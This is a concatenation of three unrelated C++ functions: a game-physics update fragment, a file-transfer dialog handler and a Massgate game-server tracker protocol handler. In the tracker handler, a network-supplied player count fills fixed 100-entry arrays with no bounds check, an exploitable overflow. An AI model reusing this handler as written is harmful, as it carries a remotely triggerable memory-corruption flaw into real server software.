if(udata) { if(udata->GetTouchingGround()) { std::vector<HitInfo> hitvec; udata->GetHittedActors(hitvec); for(size_t i=0; i< hitvec.size(); ++i) { HitInfo &hi = hitvec[i]; if(hi.HitBottom) { if(scripthandler) _attachedactor = scripthandler->GetActor(hi.ActorObjType, hi.ActorId); } } } } // update server UpdateServer(tnow, tdiff); }
void CManualTransfer::OnOK(wxCommandEvent& event) { if (!UpdateServer()) return; bool download = XRCCTRL(*this, "ID_DOWNLOAD", wxRadioButton)->GetValue(); bool start = XRCCTRL(*this, "ID_START", wxCheckBox)->GetValue(); if (!m_pServer) { wxMessageBoxEx(_("You need to specify a server."), _("Manual transfer"), wxICON_EXCLAMATION); return; } wxString local_file = XRCCTRL(*this, "ID_LOCALFILE", wxTextCtrl)->GetValue(); if (local_file == _T("")) { wxMessageBoxEx(_("You need to specify a local file."), _("Manual transfer"), wxICON_EXCLAMATION); return; } CLocalFileSystem::local_fileType type = CLocalFileSystem::GetFileType(local_file); if (type == CLocalFileSystem::dir) { wxMessageBoxEx(_("Local file is a directory instead of a regular file."), _("Manual transfer"), wxICON_EXCLAMATION); return; } if (!download && type != CLocalFileSystem::file && start) { wxMessageBoxEx(_("Local file does not exist."), _("Manual transfer"), wxICON_EXCLAMATION); return; } wxString remote_file = XRCCTRL(*this, "ID_REMOTEFILE", wxTextCtrl)->GetValue(); if (remote_file == _T("")) { wxMessageBoxEx(_("You need to specify a remote file."), _("Manual transfer"), wxICON_EXCLAMATION); return; } wxString remote_path_str = XRCCTRL(*this, "ID_REMOTEPATH", wxTextCtrl)->GetValue(); if (remote_path_str == _T("")) { wxMessageBoxEx(_("You need to specify a remote path."), _("Manual transfer"), wxICON_EXCLAMATION); return; } CServerPath path(remote_path_str, m_pServer->GetType()); if (path.IsEmpty()) { wxMessageBoxEx(_("Remote path could not be parsed."), _("Manual transfer"), wxICON_EXCLAMATION); return; } int old_data_type = COptions::Get()->GetOptionVal(OPTION_ASCIIBINARY); // Set data type for the file to add if (XRCCTRL(*this, "ID_TYPE_ASCII", wxRadioButton)->GetValue()) COptions::Get()->SetOption(OPTION_ASCIIBINARY, 1); else if (XRCCTRL(*this, "ID_TYPE_BINARY", wxRadioButton)->GetValue()) COptions::Get()->SetOption(OPTION_ASCIIBINARY, 2); else COptions::Get()->SetOption(OPTION_ASCIIBINARY, 0); wxString name; CLocalPath localPath(local_file, &name); if (name.empty()) { wxMessageBoxEx(_("Local file is not a valid filename."), _("Manual transfer"), wxICON_EXCLAMATION); return; } m_pQueueView->QueueFile(!start, download, download ? remote_file : name, (remote_file != name) ? (download ? name : remote_file) : wxString(), localPath, path, *m_pServer, -1); // Restore old data type COptions::Get()->SetOption(OPTION_ASCIIBINARY, old_data_type); m_pQueueView->QueueFile_Finish(start); EndModal(wxID_OK); }
bool MMG_TrackableServer::HandleMessage(SvClient *aClient, MN_ReadMessage *aMessage, MMG_ProtocolDelimiters::Delimiter aDelimiter) { MN_WriteMessage responseMessage(2048); // // All dedicated sever packets require an authenticated connection, except // for the initial auth delimiter // auto server = FindServer(aClient); if (!server && aDelimiter != MMG_ProtocolDelimiters::SERVERTRACKER_SERVER_AUTH_DS_CONNECTION) { // Unauthed messages ignored return false; } // Handle all message types and disconnect the server on any errors switch(aDelimiter) { // Ping/pong handler case MMG_ProtocolDelimiters::MESSAGING_DS_PING: { DebugLog(L_INFO, "MESSAGING_DS_PING:"); ushort protocolVersion;// MassgateProtocolVersion uint publicServerId; // Server ID sent on SERVERTRACKER_SERVER_STARTED if (!aMessage->ReadUShort(protocolVersion)) return false; if (!aMessage->ReadUInt(publicServerId)) return false; //if (aProtocolVersion != MassgateProtocolVersion) // return false; if (publicServerId != server->m_PublicId) { DisconnectServer(aClient); return false; } // Pong! responseMessage.WriteDelimiter(MMG_ProtocolDelimiters::MESSAGING_DS_PONG); if (!aClient->SendData(&responseMessage)) return false; } break; case MMG_ProtocolDelimiters::MESSAGING_DS_SET_METRICS: { DebugLog(L_INFO, "MESSAGING_DS_SET_METRICS:"); uchar metricContext; uint metricCount; if (!aMessage->ReadUChar(metricContext) || !aMessage->ReadUInt(metricCount)) return false; for (uint i = 0; i < metricCount; i++) { char key[256]; char value[256]; if (!aMessage->ReadString(key, ARRAYSIZE(key))) return false; if (!aMessage->ReadString(value, ARRAYSIZE(value))) return false; DebugLog(L_INFO, "Metric [%u]: %s -- %s", (uint)metricContext, key, value); } } break; case MMG_ProtocolDelimiters::MESSAGING_DS_INFORM_PLAYER_JOINED: { DebugLog(L_INFO, "MESSAGING_DS_INFORM_PLAYER_JOINED:"); uint profileId; uint antiSpoofToken; if (!aMessage->ReadUInt(profileId) || !aMessage->ReadUInt(antiSpoofToken)) return false; #ifdef USING_MYSQL_DATABASE SvClient *player = SvClientManager::ourInstance->FindPlayerByProfileId(profileId); // if profileId not logged in, kick profileId if (!player) { DebugLog(L_INFO, "MESSAGING_DS_KICK_PLAYER:"); responseMessage.WriteDelimiter(MMG_ProtocolDelimiters::MESSAGING_DS_KICK_PLAYER); responseMessage.WriteUInt(profileId); if (!aClient->SendData(&responseMessage)) return false; } else { //if antispooftoken does not match the generated token from ACCOUNT_AUTH_ACCOUNT_REQ, then kick profileId MMG_AuthToken *authtoken = player->GetToken(); // TODO if (authtoken->m_TokenId != antiSpoofToken) { DebugLog(L_INFO, "MESSAGING_DS_KICK_PLAYER:"); responseMessage.WriteDelimiter(MMG_ProtocolDelimiters::MESSAGING_DS_KICK_PLAYER); responseMessage.WriteUInt(profileId); if (!aClient->SendData(&responseMessage)) return false; } } #endif } break; // List of banned words in chat case MMG_ProtocolDelimiters::MESSAGING_DS_GET_BANNED_WORDS_REQ: { DebugLog(L_INFO, "MESSAGING_DS_GET_BANNED_WORDS_REQ:"); } break; // Initial message from any server that wants to connect to Massgate case MMG_ProtocolDelimiters::SERVERTRACKER_SERVER_AUTH_DS_CONNECTION: { DebugLog(L_INFO, "SERVERTRACKER_SERVER_AUTH_DS_CONNECTION:"); ushort protocolVersion;// MassgateProtocolVersion uint keySequenceNumber;// See EncryptionKeySequenceNumber in MMG_AccountProtocol if (!aMessage->ReadUShort(protocolVersion)) return false; if (!aMessage->ReadUInt(keySequenceNumber)) return false; // Drop immediately if key not valid if (!AuthServer(aClient, keySequenceNumber, protocolVersion)) { DebugLog(L_INFO, "Failed to authenticate server"); return false; } // If a valid sequence was supplied, ask for the "encrypted" quiz answer. This is set to 0 // if no cdkey is used (unranked). if (keySequenceNumber != 0) { responseMessage.WriteDelimiter(MMG_ProtocolDelimiters::SERVERTRACKER_SERVER_QUIZ_FROM_MASSGATE); responseMessage.WriteUInt(12345678);// Quiz seed if (!aClient->SendData(&responseMessage)) return false; } } break; // Encrypted quiz answer response from the dedicated server when using a cdkey case MMG_ProtocolDelimiters::SERVERTRACKER_SERVER_QUIZ_ANSWERS_TO_MASSGATE: { DebugLog(L_INFO, "SERVERTRACKER_SERVER_QUIZ_ANSWERS_TO_MASSGATE:"); // quizAnswer = quizSeed // // MMG_BlockTEA::SetKey(CDKeyEncryptionKey); // MMG_BlockTEA::Decrypt(&quizAnswer, 4); // quizAnswer = (quizAnswer >> 16) | 65183 * quizAnswer; // MMG_BlockTEA::Encrypt(&quizAnswer, 4); uint quizAnswer; if (!aMessage->ReadUInt(quizAnswer)) return false; } break; case MMG_ProtocolDelimiters::SERVERTRACKER_SERVER_REPORT_PLAYER_STATS: { DebugLog(L_INFO, "SERVERTRACKER_SERVER_REPORT_PLAYER_STATS:"); uint statCount; uint64 mapHash; MMG_Stats::PlayerMatchStats playerStats[100]; uint profileIds[100]; memset(profileIds, 0, sizeof(profileIds)); time_t local_timestamp = time(NULL); uint datematchplayed = (uint)local_timestamp; if (!aMessage->ReadUInt(statCount) || !aMessage->ReadUInt64(mapHash)) return false; DebugLog(L_INFO, "Number of player statistics to read from packet: %u", statCount); for (uint i = 0; i < statCount; i++) { if (!playerStats[i].FromStream(aMessage)) return false; profileIds[i] = playerStats[i].m_ProfileId; } DebugLog(L_INFO, "Read Packet: OK"); if (!MySQLDatabase::ourInstance->ProcessMatchStatistics(datematchplayed, statCount, playerStats)) { DebugLog(L_INFO, "Error: ProcessMatchStatistics() failed"); return false; } DebugLog(L_INFO, "Save Match Statistics: OK"); if (!MySQLDatabase::ourInstance->BuildPlayerLeaderboard(datematchplayed)) { DebugLog(L_INFO, "Error: BuildPlayerLeaderboard() failed"); return false; } DebugLog(L_INFO, "Build Player Leaderboard: OK"); if (!MySQLDatabase::ourInstance->CalculatePlayerRanks(statCount, profileIds)) { DebugLog(L_INFO, "Error: CalculatePlayerRanks() failed"); return false; } DebugLog(L_INFO, "Calculate Player Ranks: OK"); if (!MySQLDatabase::ourInstance->InsertAcquaintances(datematchplayed, statCount, profileIds)) return false; DebugLog(L_INFO, "Process Acquaintances: OK"); DebugLog(L_INFO, "SERVERTRACKER_SERVER_REPORT_PLAYER_STATS: Completed Successfully"); } break; // Broadcasted message when the very first map is loaded case MMG_ProtocolDelimiters::SERVERTRACKER_SERVER_STARTED: { DebugLog(L_INFO, "SERVERTRACKER_SERVER_STARTED:"); MMG_ServerStartupVariables startupVars; if (!startupVars.FromStream(aMessage)) return false; // Request to "connect" the active game server if (ConnectServer(server, aClient->GetIPAddress(), &startupVars)) { // Tell SvClientManager aClient->SetIsServer(true); aClient->SetLoginStatus(true); aClient->SetTimeout(WIC_HEARTBEAT_NET_TIMEOUT); // Send back the assigned public ID responseMessage.WriteDelimiter(MMG_ProtocolDelimiters::SERVERTRACKER_SERVER_PUBLIC_ID); responseMessage.WriteUInt(server->m_PublicId);// ServerId if (!aClient->SendData(&responseMessage)) return false; // Send back the connection cookie responseMessage.WriteDelimiter(MMG_ProtocolDelimiters::SERVERTRACKER_SERVER_INTERNAL_AUTHTOKEN); responseMessage.WriteRawData(&server->m_Cookie, sizeof(server->m_Cookie));// myCookie responseMessage.WriteUInt(10000);// myConnectCookieBase if (!aClient->SendData(&responseMessage)) return false; } else { DebugLog(L_INFO, "Failed to connect server"); DisconnectServer(aClient); } } break; // Server heartbeat sent every X seconds case MMG_ProtocolDelimiters::SERVERTRACKER_SERVER_STATUS: { DebugLog(L_INFO, "SERVERTRACKER_SERVER_STATUS:"); MMG_TrackableServerHeartbeat heartbeat; if (!heartbeat.FromStream(aMessage)) return false; if (!UpdateServer(server, &heartbeat)) return false; } break; // Map rotation cycle info case MMG_ProtocolDelimiters::SERVERTRACKER_SERVER_MAP_LIST: { DebugLog(L_INFO, "SERVERTRACKER_SERVER_MAP_LIST:"); ushort mapCount; aMessage->ReadUShort(mapCount); for (int i = 0; i < mapCount; i++) { uint64 mapHash; wchar_t mapName[128]; aMessage->ReadUInt64(mapHash); aMessage->ReadString(mapName, ARRAYSIZE(mapName)); DebugLog(L_INFO, "%llX - %ws", mapHash, mapName); } } break; default: DebugLog(L_WARN, "Unknown delimiter %i", aDelimiter); return false; } return true; }